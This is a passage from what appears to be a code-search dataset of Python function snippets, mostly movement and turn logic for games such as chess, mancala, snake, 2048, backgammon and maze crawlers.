1\n\t\t\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)\n\t\telse:\n\t\t\tos.system('clear')\n\t\t\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)","def sow_step(self, player, move):\n init_pit = move\n stones = self.p_pits(player.index)[init_pit]\n clen = 2 * self.M + 1\n\n if player.index == 1:\n cstate = self.state[:-1]\n else:\n cstate = self.p2_pits() + [self.p2_store()] + self.p1_pits()\n\n per_add = stones // clen\n dis_pit = stones % clen\n\n cstate[init_pit] = 0\n last_pit = (init_pit + dis_pit) % clen\n new_state = [i + per_add for i in cstate]\n if last_pit > init_pit:\n new_state = [\n v + 1 if init_pit < i <= last_pit else v\n for i, v in enumerate(new_state)\n ]\n elif last_pit < init_pit:\n new_state = [\n v + 1 if (init_pit < i or i <= last_pit) else v\n for i, v in enumerate(new_state)\n ]\n else:\n pass\n\n if player.index == 1:\n return new_state + [self.p2_store()], last_pit\n else:\n return new_state[-self.M:] + [self.p1_store()\n ] + new_state[:-self.M], last_pit","def move(self, row, col, player):\n offset = player * 2 - 3 # 1 or -1\n self.row[row] += offset\n self.col[col] += offset\n if row == col:\n self.diag += offset\n if row + col == self.n - 1:\n self.anti_diag += offset\n if self.n in [self.row[row], self.col[col], self.diag, self.anti_diag]:\n return 2\n if -self.n in [self.row[row], self.col[col], self.diag, self.anti_diag]:\n return 1\n return 0","def domove(self, depart, arrivee, promote):\n\n # Debugging tests\n # if(self.cases[depart].isEmpty()):\n # print('domove() ERROR : asked for an empty square move : ',depart,arrivee,promote)\n # return \n # if(int(depart)<0 or int(depart)>63):\n # print('domove() ERROR : incorrect FROM square number : ',depart)\n # return \n # if(int(arrivee)<0 or int(arrivee)>63):\n # print('domove() ERROR : incorrect TO square number : ',arrivee)\n # return\n # if(not(promote=='' or promote=='q' or promote=='r' or promote=='n' or promote=='b')):\n # print('domove() ERROR : incorrect promote : ',promote)\n # return\n\n # Informations to save in the history moves\n pieceDeplacee = self.cases[depart] # moved piece\n piecePrise = self.cases[arrivee] # taken piece, can be null : Piece()\n isEp = False # will be used to undo a ep move\n histEp = self.ep # saving the actual ep square (-1 or square number TO)\n hist_roque_56 = self.white_can_castle_56\n hist_roque_63 = self.white_can_castle_63\n hist_roque_0 = self.black_can_castle_0\n hist_roque_7 = self.black_can_castle_7\n flagViderEp = True # flag to erase ep or not : if the pawn moved is not taken directly, it can't be taken later\n\n # Moving piece\n self.cases[arrivee] = self.cases[depart]\n self.cases[depart] = Piece()\n\n self.ply += 1\n\n # a PAWN has been moved -------------------------------------\n if (pieceDeplacee.nom == 'PION'):\n\n # White PAWN\n if (pieceDeplacee.couleur == 'blanc'):\n\n # If the move is \"en passant\"\n if (self.ep == arrivee):\n piecePrise = self.cases[arrivee + 8] # take black pawn\n self.cases[arrivee + 8] = Piece()\n isEp = True\n\n # The white pawn moves 2 squares from starting square\n # then blacks can take \"en passant\" next move\n elif (self.ROW(depart) == 6 and self.ROW(arrivee) == 4):\n self.ep = arrivee + 8\n flagViderEp = False\n\n # Black PAWN\n else:\n\n if (self.ep == arrivee):\n piecePrise = self.cases[arrivee - 8]\n self.cases[arrivee - 8] = Piece()\n isEp = True\n\n elif (self.ROW(depart) == 1 and self.ROW(arrivee) == 3):\n self.ep = arrivee - 8\n flagViderEp = False\n\n # a ROOK has been moved--------------------------------------\n # update castle rights\n\n elif (pieceDeplacee.nom == 'TOUR'):\n\n # White ROOK\n if (pieceDeplacee.couleur == 'blanc'):\n if (depart == 56):\n self.white_can_castle_56 = False\n elif (depart == 63):\n self.white_can_castle_63 = False\n\n # Black ROOK\n else:\n if (depart == 0):\n self.black_can_castle_0 = False\n elif (depart == 7):\n self.black_can_castle_7 = False\n\n # a KING has been moved-----------------------------------------\n\n elif (pieceDeplacee.nom == 'ROI'):\n\n # White KING\n if (pieceDeplacee.couleur == 'blanc'):\n\n # moving from starting square\n if (depart == 60):\n # update castle rights\n self.white_can_castle_56 = False\n self.white_can_castle_63 = False\n\n # If castling, move the rook\n if (arrivee == 58):\n self.cases[56] = Piece()\n self.cases[59] = Piece('TOUR', 'blanc')\n\n elif (arrivee == 62):\n self.cases[63] = Piece()\n self.cases[61] = Piece('TOUR', 'blanc')\n\n # Black KING\n else:\n\n if (depart == 4):\n self.black_can_castle_0 = False\n self.black_can_castle_7 = False\n\n if (arrivee == 6):\n self.cases[7] = Piece()\n self.cases[5] = Piece('TOUR', 'noir')\n\n elif (arrivee == 2):\n self.cases[0] = Piece()\n self.cases[3] = Piece('TOUR', 'noir')\n\n # End pieces cases-----------------------------------------------\n\n # Any move cancels the ep move\n if (flagViderEp == True):\n self.ep = -1\n\n # Promote : the pawn is changed to requested piece\n if (promote != ''):\n if (promote == 'q'):\n self.cases[arrivee] = Piece('DAME', self.side2move)\n elif (promote == 'r'):\n self.cases[arrivee] = Piece('TOUR', self.side2move)\n elif (promote == 'n'):\n self.cases[arrivee] = Piece('CAVALIER', self.side2move)\n elif (promote == 'b'):\n self.cases[arrivee] = Piece('FOU', self.side2move)\n\n # Change side to move\n self.changeTrait()\n\n # Save move to the history list\n self.history.append((depart, \\\n arrivee, \\\n pieceDeplacee, \\\n piecePrise, \\\n isEp, \\\n histEp, \\\n promote, \\\n hist_roque_56, \\\n hist_roque_63, \\\n hist_roque_0, \\\n hist_roque_7))\n\n # If the move lets king in check, undo it and return false\n if (self.in_check(self.oppColor(self.side2move))):\n self.undomove()\n return False\n\n return True","def move(self, direction: str) -> int:\n (i, j), _ = self.position.popitem(last=True) # current position\n self.position[(i, j)] = 0 # add back \n if direction == \"U\": i -= 1\n elif direction == \"L\": j -= 1\n elif direction == \"R\": j += 1\n else: i += 1\n if self.food and self.food[0] == [i, j]: self.food.popleft()\n else: self.position.popitem(last=False)\n if not (0 <= i < self.height and 0 <= j < self.width) or (i, j) in self.position: return -1 # game over \n self.position[(i, j)] = 0\n return len(self.position)-1","def force_move():\n if ZERO_BASE_PLYR_POS in range(0, 10):\n # we cant go up, so go down\n move_player(\"south\")\n else:\n move_player(\"north\")","def make_move(self, direction):\r\n\t\tif direction == 0:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x-1][self.y] = self.board[self.x-1][self.y], self.board[self.x][self.y]\r\n\t\t\tself.x -= 1\r\n\r\n\t\telif direction == 1:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x][self.y+1] = self.board[self.x][self.y+1], self.board[self.x][self.y]\r\n\t\t\tself.y += 1\r\n\r\n\t\telif direction == 2:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x+1][self.y] = self.board[self.x+1][self.y], self.board[self.x][self.y]\r\n\t\t\tself.x += 1\r\n\r\n\t\telif direction == 3:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x][self.y-1] = self.board[self.x][self.y-1], self.board[self.x][self.y]\r\n\t\t\tself.y -= 1","def _change_fleet_direction(self):\n\t\tfor alien in self.aliens.sprites():\n\t\t\talien.rect.y += self.settings.fleet_drop_speed\n\t\tself.settings.fleet_direction*=-1","def move(self, dx, dy):\r\n self.corner.x += dx\r\n self.corner.y += dy","def move(self, dx, dy):\n self.corner.x += dx\n self.corner.y += dy","def move(self, dx, dy):\n self.corner.x += dx\n self.corner.y += dy","def move(self, dx, dy):\n self.corner.x += dx\n self.corner.y += dy","def _change_fleet_direction(self):\n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1","def _change_fleet_direction(self):\n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1","def move_repeatedly():\n check = check50.run(run_command)\n check.stdin(\"WEST\").stdout(room_2_description)\n check.stdin(\"EAST\").stdout(room_1_name)\n check.stdin(\"WEST\").stdout(room_2_name)","def move(t, length):\n pu(t)\n\t\n fd(t, length)\n pd(t)","def WallsPosition():\n\tcnt=40\n\twhile cnt>0:\n\t\ta=random.randint(0,15)\n\t\tb=random.randint(0,35)\n\t\tif(board[a][b]=='.'):\n\t\t\tboard[a][b]='X'\n\t\t\tcnt=cnt-1","def windstow(windOutOf) :\n print windstow.__doc__\n\n weather(\"wind\")\n [ovroAnts,bimaAnts,szaAnts] = antennasByType()\n if windOutOf < 180.0 : windDirection=windOutOf+180.0\n else : windDirection=windOutOf-180.0\n stow(ovroAnts)\n qmove(windDirection, 10.0, bimaAnts)","def move(self, row, col, player):","def turn_right(self):\n pass","def makeMove(self, move, player):","def move_south(self):\r\n self.move(dx=0, dy=1)","def move_up():\n return __maze.move_up()","def next_turn(self): \n if (self.moves):\n self.board = self.select_move() \n self.moves = []\n self.roll = self.roll_dice()\n self.player = not self.player\n self.generate_valid_moves()","def make_attack(self):\n if self.rect.y < 750:\n # if self.left:\n # self.rect.x -= 2\n # else:\n # self.rect.x += 2\n # if abs(self.rect.x - self.originx) == 150:\n # self.left = True\n # elif abs(self.rect.x - self.originx) == 0:\n # self.left = False\n self.rect.y += 5\n else: self.rect.y = self.originy","def _change_fleet_direction(self):\n\t\tfor auto in self.autos.sprites():\n\t\t\tauto.rect.y -= self.settings.fleet_rise_speed\n\t\tself.settings.fleet_direction *= -1","def make_move(self, row, column):\n\t\tif self.board[int(row)][int(column)] == '-':\n\t\t\tself.board[int(row)][int(column)] = self.marker\n\t\telse:\n\t\t\tprint(\"That spot is occupied, you messed up, you lose your turn for doing bad things\")","def move(self):\n x = y = z = 0.0\n for cell in self.cells:\n x += (cell.x)#*n\n y += (cell.y)#*n\n z += (cell.z)#*n\n np = float(len(self.cells))\n med = numpy.array([x/np,y/np,z/np])\n \n dists = []\n for cell in self.cells:\n d = (cell.x-self.x)**2+(cell.y-self.y)**2+(cell.z-self.z)**2\n d = numpy.sqrt(d)\n dists.append(d)\n #md = (cell.x-med[0])**2+(cell.y-med[1])**2+(cell.z-med[2])**2\n #dists[-1] = (dists[-1]+md)/2\n cell = self.cells[numpy.argmin(dists)]\n cc = numpy.array([cell.x, cell.y, cell.z])\n \n t = self.t\n if abs(self.dnp) * ( self.np-self.np_req) > 0:\n t = self.tr\n self.dcenter = (1-t)*(med-self.center + self.u*(cc-med))\n self.x,self.y,self.z = self.center = self.center + self.dcenter","def move_lift_up():\n return _move_lift(1)","def move_east(self):\r\n self.move(dx=1, dy=0)","def move_south(self):\n self.vertical = (self.vertical * 2)[3:7]\n self.horizontal[1] = self.vertical[0]\n self.horizontal[3] = self.vertical[2]","def moveRight(self,board_object):\n\t\tif checkClash(board_object,self,self.x,self.y+1) == 0:\n\t\t\toverlayMatrix(board_object,self,self.x,self.y+1)\n\t\t\tself.setPos(self.x,self.y+1)\n\t\t\tif self.y > board_object.start + 25: \n\t\t\t\tboard_object.start += 1\n\t\telse:\n\t\t\treturn 1","def move(self):\n if VERBOSE:\n print('-- move', self.move_number, '--')\n self.display_cups()\n\n picked_up = self.pick_up_cups(3)\n self.update_destination_cup()\n\n if VERBOSE:\n print('pick up: ', end='')\n for pick in picked_up:\n print(pick, end=' ')\n print()\n print('destination:', self.destination)\n print()\n\n self.insert_cups(inserts=picked_up, insert_after=self.destination)\n self.select_new_current_cup()\n\n self.move_number += 1","def movement(self):","def move(self, direction=0):\n moves = [\n [3, 1],\n [2, 2],\n [1, 3],\n [0, 0]\n ]\n\n self._rotate(moves[direction][0])\n\n for row in range(4):\n r = [i for i in self.map[row] if i != 0]\n\n r_result = []\n while(len(r)):\n num = r.pop(0)\n if len(r) and num == r[0]:\n num += r.pop(0)\n # TODO: Do a 2048 check here to see if the player won?\n # this might not be the best place because we could use\n # this method to run tests to see if the player has any valid moves\n r_result.append(num)\n \n self.map[row] = r_result + [0]*(4-len(r_result))\n\n self._add_random_piece()\n\n self._rotate(moves[direction][1])\n self.print_map()","def sowing(self, player, move):\n self.state, last_pit = self.sow_step(player, move)\n if last_pit == self.M:\n \"\"\"If the last stone is sowed into the store, then the player gets to take another turn.\"\"\"\n return True\n if last_pit < self.M and self.p_pits(player.index)[last_pit] == 1:\n \"\"\"If the last stone is sowed into one of the player’s own empty pits, \n then the player captures any stones in their opponents pit directly across the board.\"\"\"\n opp_last_pit = self.M - 1 - last_pit\n # update the store\n self.update_store(\n self.p_store(player.index) + 1 +\n self.p_pits(player.opp_index)[opp_last_pit], player.index)\n # empty two puts\n self.update_pit(0, last_pit, player.index)\n self.update_pit(0, opp_last_pit, player.opp_index)\n return False","def move(self):\n # neighbor offsets\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\n for i in range(len(offset)):\n x = self.x + offset[i][0] # neighboring coordinates\n y = self.y + offset[i][1]\n if self.island.animal(x, y) == 0: # neighboring spot is open\n self.island.remove(self) # remove from current spot\n self.x = x # new coordinates\n self.y = y\n self.island.register(self) # register new coordinates\n break # finished with move","def move(self):\n # neighbor offsets\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\n for i in range(len(offset)):\n x = self.x + offset[i][0] # neighboring coordinates\n y = self.y + offset[i][1]\n if self.island.animal(x, y) == 0: # neighboring spot is open\n self.island.remove(self) # remove from current spot\n self.x = x # new coordinates\n self.y = y\n self.island.register(self) # register new coordinates\n break # finished with move","def turn_right(self):\n self.facing_direction += self.config\n if self.facing_direction > 7:\n self.facing_direction -= 8\n self.x, self.y = self.compute_positions()","def _move_down(self):\n new_pos = self._pos + _Vec3(0, -1, 0)\n block_ = self._get_block(new_pos)\n if block_ != _WATER:\n self._add_to_inv(block_)\n self._move(new_pos)","def move_draught(event):\n global red_turn\n if(red_turn == False):\n return\n draught = board.find_withtag(CURRENT)[0]\n board.coords(draught,event.x-click_offset[0],event.y-click_offset[1],event.x-click_offset[0]+board_divisions,event.y-click_offset[1]+board_divisions)","def move(self, direction):\n\n # Move to the right\n if direction == 'right':\n if self.square_x < (NUMBER_OF_SPRITES -1):\n # Checking if the new direction is not a wall\n if self.maze.structure[self.square_y][self.square_x + 1] != 'w':\n # Move by one square right on X axis\n self.square_x += 1\n # Calculation of the \"Real\" positioning in pixels\n self.x_pos = self.square_x * SPRITES_SIZE\n\n # Move to the left\n if direction == 'left':\n if self.square_x > 0:\n # Checking if the new direction is not a wall\n if self.maze.structure[self.square_y][self.square_x - 1] != 'w':\n # Move by one square left on X axis\n self.square_x -= 1\n # Calculation of the \"Real\" positioning in pixels\n self.x_pos = self.square_x * SPRITES_SIZE\n\n # Move up\n if direction == 'up':\n if self.square_y > 0:\n # Checking if the new direction is not a wall\n if self.maze.structure[self.square_y-1][self.square_x] != 'w':\n # Move by one square up on Y axis\n self.square_y -= 1\n # Calculation of the \"Real\" positioning in pixels\n self.y_pos = self.square_y * SPRITES_SIZE\n\n # Move down\n if direction == 'down':\n if self.square_y < (NUMBER_OF_SPRITES -1):\n # Checking if the new direction is not a wall\n if self.maze.structure[self.square_y + 1][self.square_x] != 'w':\n # Move by one square down on Y axis\n self.square_y += 1\n # Calculation of the \"Real\" positioning in pixels\n self.y_pos = self.square_y * SPRITES_SIZE","def left_twist(self):\n self.turn_by_deg(-179)\n #time.sleep(.1)\n self.stop()\n self.turn_by_deg(-179)\n #time.sleep(.1)\n self.stop()","def move_in_direction(self, direction):\n if direction == NORTH:\n self.__position[y] += 1\n elif direction == NORTHEAST:\n self.__position[x] += 1\n self.__position[y] += 1\n elif direction == EAST:\n self.__position[x] += 1\n elif direction == SOUTHEAST:\n self.__position[x] += 1\n self.__position[y] -= 1\n elif direction == SOUTH:\n self.__position[y] -= 1\n elif direction == SOUTHWEST:\n self.__position[x] -= 1\n self.__position[y] -= 1\n elif direction == WEST:\n self.__position[x] -= 1\n elif direction == NORTHWEST:\n self.__position[x] -= 1\n self.__position[y] += 1","def move_down():\n return __maze.move_down()","def move(self, is_forward):\n wh, lh = self.get_heading\n self.w += wh\n self.l += lh\n if self.get_pos() == blocks['wall']:\n self.w -= wh\n self.l -= lh"],"string":"[\n \"def throw(self, move):\\n for dice_index in move:\\n self.dice[dice_index - 1] = random.randint(1,6)\",\n \"def shift_board(self, dx, dy):\\n super().shift_board(dx, dy)\\n self.goals = np.roll(self.goals, dy, axis=0)\\n self.goals = np.roll(self.goals, dx, axis=1)\",\n \"def do_west(self, arg):\\r\\n moveDirection('west')\",\n \"def move(self):\\n \\n self.position = self.wander()\",\n \"def turn(self):\\r\\n # 1 throw the dice\\r\\n if (\\r\\n not self.player_list[self.current_player].is_in_jail()\\r\\n or self.try_leave_jail()\\r\\n ):\\r\\n thr = Throw()\\r\\n while thr is not None:\\r\\n # check in where the current player will land\\r\\n new_position = self.compute_new_position_from_dice(\\r\\n self.current_player, thr\\r\\n )\\r\\n self.move_player_to(self.current_player, new_position, thr=thr)\\r\\n\\r\\n if thr.is_double():\\r\\n thr = Throw()\\r\\n else:\\r\\n thr = None\\r\\n print(\\\"------------------------------\\\")\\r\\n\\r\\n self.player_observable_variables()\\r\\n\\r\\n # move turn to next player\\r\\n self.current_player += 1\\r\\n if self.current_player >= len(self.player_list):\\r\\n self.current_player = 0\\r\\n self.full_turn_count += 1\\r\\n print(\\\"**********************\\\")\\r\\n print(\\r\\n \\\"Full turn:\\\",\\r\\n self.full_turn_count,\\r\\n \\\"\\\\n\\\",\\r\\n \\\"\\\\n\\\".join(map(lambda x: x.full(), self.player_list)),\\r\\n )\\r\\n print(\\\"**********************\\\")\",\n \"def moveWest(self):\\n self._move('w', - Tile.HorizontalDifference)\",\n \"def move_west(self):\\r\\n self.move(dx=-1, dy=0)\",\n \"def make_turn(self):\\n # if play first, start in the middle\\n if np.count_nonzero(self.board) == 0:\\n self.place_disc(self.board.shape[1] / 2)\\n return 1\\n\\n\\n # win if possible\\n for try_column in range(0,self.board.shape[1]):\\n if 0 == self.board[0, try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, self.id())\\n if dhw.did_he_win(new_board, self.id(), try_column):\\n self.place_disc(try_column)\\n return 1\\n\\n # don't loose if in danger\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id())\\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\\n self.place_disc(try_column)\\n return 1\\n\\n # don't fall in trap!\\n forbidden_columns = []\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, self.id()) # my move\\n new_board = self.simulate_place_disc(new_board, try_column, 3 - self.id()) # enemy move\\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\\n\\n # don't ruin my trap\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id()) # 'my' move\\n new_board = self.simulate_place_disc(new_board, try_column, self.id()) # my move\\n if dhw.did_he_win(new_board, self.id(), try_column):\\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\\n\\n # allow forbidden_columns if no other choice\\n if np.count_nonzero(self.board[0, :]) == self.board.shape[1] - len(forbidden_columns):\\n forbidden_columns = []\\n\\n # otherwise, play randomly\\n rannum = random.randrange(7)\\n while 0 != self.board[0, rannum] or rannum in forbidden_columns:\\n rannum = random.randrange(7)\\n self.place_disc(rannum)\\n return 1\",\n \"def move(self):\\r\\n if self.d == 'NORTH' and (self.y + 1) <= table_max_y:\\r\\n self.y += 1\\r\\n elif self.d == 'EAST' and (self.x + 1) <= table_max_x:\\r\\n self.x += 1\\r\\n elif self.d == 'SOUTH' and (self.y - 1) >= 0:\\r\\n self.y -= 1\\r\\n elif self.d == 'WEST' and (self.x - 1) >= 0:\\r\\n self.x -= 1\\r\\n else:\\r\\n print(\\\"Edge of Table Reached!\\\")\",\n \"def shift_board(self, dx, dy):\\n self.board = np.roll(self.board, dy, axis=0)\\n self.board = np.roll(self.board, dx, axis=1)\\n self.agent_locs += [dy, dx]\\n self.agent_locs %= self.board.shape\\n self.update_exit_locs()\",\n \"def moveWest(self):\\n west = (self.current[0] - 1, self.current[1])\\n mv = self.lab.west()\\n self.check_grue(mv)\\n self.current = west\\n self.visited.add(self.current)\",\n \"def move(self):\\n if random.random() < 0.5:\\n self.y = (self.y + 1) % 100\\n else:\\n self.y = (self.y - 1) % 100\\n if random.random() < 0.5:\\n self.x = (self.x + 1) % 100\\n else:\\n self.x = (self.x - 1) % 100\",\n \"def fireWest(self):\\n self.rotate('w')\\n gun = Laser(self)\\n gun.shoot('w')\\n self.agent.actionCompleted()\",\n \"def _move_randomly(self):\\n a, b = randint(0, len(self.state) - 1), randint(0, len(self.state) - 1)\\n wiz1, wiz2 = self.state[a], self.state[b]\\n self._swap_wizards(wiz1, wiz2)\",\n \"def _move(self, event):\\n if self._current_tower.get_value() > self._coins:\\n return\\n\\n #move the shadow tower to mouse position\\n position = event.x, event.y\\n self._current_tower.position = position\\n\\n legal, grid_path = self._game.attempt_placement(position)\\n\\n #find the best path and covert positions to pixel positions\\n path = [self._game.grid.cell_to_pixel_centre(position)\\n for position in grid_path.get_shortest()]\\n\\n #Task 1.2 (Tower placement): Draw the tower preview here\\n self._view.draw_preview(self._current_tower, legal)\\n self._view.draw_path(path)\",\n \"def move_draught_end(event):\\n global red_draughts, white_draughts\\n global board_array\\n global old_point\\n global die_1_num, die_2_num, doubles\\n draught = board.find_withtag(CURRENT)[0]\\n #Figure out which point they want to put it on\\n bottom = (event.y-click_offset[1] >= board_height//2)\\n point_left_edges = [board_divisions*i for i in xrange(0,15) if i != 7]\\n is_red = draught in red_draughts\\n if bottom == False:\\n new_point = 12+point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0])))\\n else:\\n new_point = 13-point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0]))) \\n #Check legality\\n if(board_array[new_point][1] > 1 and is_red) or (board_array[new_point][0] > 1 and not is_red): #if too many opposite color on square\\n draw_draughts()\\n return\\n if(board_array[0][0] > 0 and is_red and old_point != 0)or(board_array[25][1] > 0 and not is_red and old_point != 25):#Obligated to move off bar first\\n draw_draughts()\\n return\\n if(new_point == 0 and not is_red): #if white trying to bear off\\n for i in xrange(7,26):\\n if(board_array[i][1] > 0): #If white has a piece outside home, can't bear off\\n draw_draughts()\\n return\\n if(new_point == 25 and is_red): #if red trying to bear off\\n for i in xrange(0,18):\\n if(board_array[i][0] > 0): #If red has a piece outside home, can't bear off\\n draw_draughts()\\n return \\n \\n if(new_point-old_point == die_1_num and is_red) or (old_point-new_point == die_1_num and not is_red):\\n if(doubles == False) or (die_2_num != 0):\\n die_1_num = 0\\n else: \\n die_2_num = die_1_num\\n doubles = False\\n elif(new_point-old_point == die_2_num and is_red) or (old_point-new_point == die_2_num and not is_red):\\n if(doubles == False) or (die_1_num != 0):\\n die_2_num = 0\\n else: \\n die_1_num = die_2_num\\n doubles = False\\n else: #Can't move there on this roll\\n draw_draughts()\\n return\\n update_dice()\\n #Update board_array\\n if is_red:\\n board_array[old_point][0] -= 1\\n board_array[new_point][0] += 1\\n if(board_array[new_point][1] == 1): #Handle hits\\n board_array[new_point][1] -= 1\\n board_array[25][1] += 1\\n else:\\n board_array[old_point][1] -= 1\\n board_array[new_point][1] += 1\\n if(board_array[new_point][0] == 1): #Handle hits\\n board_array[new_point][0] -= 1\\n board_array[0][0] += 1\\n\\n draw_draughts()\\n if(die_1_num == 0 and die_2_num == 0):\\n comp_turn()\",\n \"def move(self):\\n if self._z >= 75:\\n a = random.random()\\n print(str(a))\\n if a < 0.2:\\n self._z += 1\\n if a > 0.2 and a < 0.9:\\n self._z -= 1\\n if a > 0.9:\\n self._z = self._z\\n else: \\n self._z -= 1\\n \\n b = random.random()\\n print(str(b))\\n if b < 0.1:\\n self._y += 1\\n if b > 0.1 and b < 0.2:\\n self._y -= 1\\n if b > 0.2 and b < 0.25:\\n self._x -= 1\\n if b > 0.25:\\n self._x += 1\",\n \"def move_tie_fighters(self):\\n for i in range(len(self.tie_fighters)):\\n self.tie_fighters[i].move_tie_fighter()\",\n \"def wander(self):\\n \\n has_new_pos = False\\n while not has_new_pos:\\n move = random.choice(self.moves)\\n new_pos = add_lists(move, self.position)\\n has_new_pos = check_bounds(new_pos, self.grid_size)\\n return new_pos\",\n \"def move(self):\\n if self.adjustment > 0:\\n # The player moves up a ladder\\n old_position = self.position\\n # In the next move, player on top of ladder\\n\\n self.position = old_position - self.dropped_steps\\n # player drops steps\\n super().move()\\n # player move\\n die = self.position - old_position + self.dropped_steps - \\\\\\n self.adjustment\\n \\\"\\\"\\\" \\n the current position of the player is: old position - \\n dropped_steps + die + adjustment. Rearranging to find the die.\\n \\n \\\"\\\"\\\"\\n if die < self.dropped_steps:\\n self.position = old_position\\n # if die is less than dropped_steps, the player will stand still.\\n else:\\n super().move()\\n # if not climbling a ladder, then the player make a regular move\",\n \"def make_move(self, tower):\\r\\n height, index = self.__find_random_moves(tower)\\r\\n \\r\\n if self.stat_brain.all_valid(tower) == 0 or self.stat_brain.is_valid(height, index, tower):\\r\\n return height, index\\r\\n else:\\r\\n while not self.stat_brain.is_valid(height, index, tower):\\r\\n height, index = self.__find_random_moves(tower)\\r\\n \\r\\n return height, index\",\n \"def hanoi_tower(n):\\n def move_tower(height, from_pole, to_pole, with_pole):\\n if height >= 1:\\n move_tower(height-1, from_pole, with_pole, to_pole)\\n move_disc(from_pole, to_pole, height)\\n move_tower(height-1, with_pole, to_pole, from_pole)\\n\\n def move_disc(fp, tp, height):\\n tp.append(fp.pop())\\n show_poles()\\n\\n def show_poles():\\n line = \\\"\\\"\\n line += '{:<{}s}'.format(str(a), str_len)\\n line += '{:<{}s}'.format(str(b), str_len)\\n line += '{:<{}s}'.format(str(c), str_len)\\n print(line)\\n\\n a = list(range(n, 0, -1))\\n b = []\\n c = []\\n str_len = len(str(a))\\n\\n show_poles()\\n move_tower(n, a, c, b)\\n print('\\\\n')\",\n \"def steerright(self):\\n self.direction = self.direction-self.steering\\n if self.direction < 0:\\n self.direction = 360-90\\n self.image, self.rect = rot_center(self.image_orig,self.rect,self.direction)\",\n \"def test_move_knight_legally(self):\\n self.c.board[6] = [(0, 0) for i in range(8)]\\n for piece in [('N', True), ('N', False)]:\\n self.c.turn = piece[1]\\n self.c.board[4][4] = piece\\n for dest in ['d6', 'f6', 'c5', 'g5', 'c3', 'g3', 'd2', 'f2']:\\n self.groups['dest'] = dest\\n self.assertEqual(self.c._knight_evaluator(self.groups), (4, 4))\",\n \"def move_of_king_and_rook(self, from_row, from_col, to_row, to_col): \\n #provjere da li su kraljevi ili topovi inicirali pomijeranje\\n if(from_row == 7 and from_col == 0):\\n self.wrl_moved = True\\n elif(from_row == 7 and from_col == 7):\\n self.wrr_moved = True\\n elif(from_row == 7 and from_col == 4):\\n self.wk_moved = True\\n elif(from_row == 0 and from_col == 0):\\n self.brl_moved = True\\n elif(from_row == 0 and from_col == 7):\\n self.brr_moved = True\\n elif(from_row == 0 and from_col == 4):\\n self.bk_moved = True\\n \\n #provjera da li je neko pojeo topove\\n if(to_row == 7 and to_col == 0):\\n self.wrl_moved = True\\n elif(to_row == 7 and to_col == 7):\\n self.wrr_moved = True\\n elif(to_row == 0 and to_col == 0):\\n self.brl_moved = True\\n elif(to_row == 0 and to_col == 7):\\n self.brr_moved = True\",\n \"def _shift_wall_wind(self):\\n assert self.wall_wind is not None, 'Please select wall to open first'\\n\\n wall_index = ALL_WINDS.index(self.wall_wind)\\n\\n if wall_index == 0:\\n wall_index = len(ALL_WINDS) - 1\\n else:\\n wall_index -= 1\\n\\n self.wall_wind = ALL_WINDS[wall_index]\\n\\n return self.wall_wind\",\n \"def dest(side):\\n return (side - 1) % 3 # cw(side)\",\n \"def turn_ship_left(self):\\n self.degrees += movement\",\n \"def turn_ship_right(self):\\n self.degrees -= movement\",\n \"def turn_around():\\n for i in range(2):\\n turn_left()\",\n \"def migration(self):\\n\\n coordinates = self.get_random_coordinates()\\n for coordinate in coordinates:\\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\\n self.cell_move_herbivores(coordinate)\\n self.cell_move_carnivores(coordinate)\\n\\n for coordinate in coordinates:\\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\\n self.cells[coordinate].move_new_animals()\",\n \"def moveSouth(self):\\n south = (self.current[0], self.current[1] + 1)\\n mv = self.lab.south()\\n self.check_grue(mv)\\n self.current = south\\n self.visited.add(self.current)\",\n \"def _shift_wall_index(self):\\n if self.wall_index > 0:\\n self.wall_index -= 1\\n else:\\n self._shift_wall_wind()\\n self.wall_index = len(self.current_wall) - 1\",\n \"def moveSouth(self):\\n self._move('s', Tile.VerticalDifference)\",\n \"def towel_of_hanoi(n):\\n degs = [[n - i for i in range(n)], [], []]\\n move(degs, 0, 2, n)\",\n \"def move(self):\\n\\n # get the location we WOULD go to\\n newX = self.xcor() + self.dx\\n newY = self.ycor() + self.dy\\n while (abs (newX) > self.BOX_RANGE) or (abs(newY) > self.BOX_RANGE):\\n # print(\\\"choosing new direction... \\\",end=\\\"\\\")\\n self.chooseNewDirection()\\n # print(self.dx, self.dy)\\n newX = self.xcor() + self.dx\\n newY = self.ycor() + self.dy\\n\\n # now move our monster\\n super().move()\",\n \"def move(self):\\n self._move_range_shuffle(3)\\n self._move_satisfy_random_constraint()\\n # self._move_range_shuffle(3)\\n #if (curr_energy > 50):\\n # self._move_satisfy_random_constraint()\\n #else:\\n # self._move_range_shuffle(3)\",\n \"def move(self, direction):\\n newx = self.x\\n newy = self.y\\n newy += random.randint(-1, 1)\\n newx += random.randint(-1, 1)\\n if self.tmap.contents[newy][newx] != '#':\\n self.x = newx\\n self.y = newy\",\n \"def fireSouth(self):\\n self.rotate('s')\\n gun = 